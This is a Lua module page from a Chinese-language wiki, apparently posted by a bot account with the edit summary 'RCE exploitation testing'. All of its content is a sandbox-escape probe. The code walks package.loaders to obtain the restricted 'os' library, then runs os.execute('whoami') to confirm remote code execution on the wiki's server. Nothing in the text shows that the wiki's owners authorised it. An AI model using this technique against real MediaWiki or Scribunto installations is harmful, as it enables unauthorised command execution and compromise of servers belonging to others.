模块:RceEscape PkgLoadOs

来自希服维基
Bot93553讨论 | 贡献2026年5月9日 (六) 13:34的版本 (RCE exploitation testing)
(差异) ←上一版本 | 最后版本 (差异) | 下一版本→ (差异)

可在模块:RceEscape PkgLoadOs/doc创建此模块的帮助文档

local p = {}
function p.test()
    for i, loader in ipairs(package.loaders) do
        local ok, result = pcall(loader, "os")
        if ok and type(result) == "function" then
            local ok2, os_tbl = pcall(result)
            if ok2 and type(os_tbl) == "table" and os_tbl.execute ~= nil then
                local ok3, output = pcall(os_tbl.execute, "whoami")
                return "RCE_WITH_OS: " .. tostring(ok3) .. ":" .. tostring(output)
            end
        end
    end
    return "NO_OS_EXECUTE_FOUND"
end
return p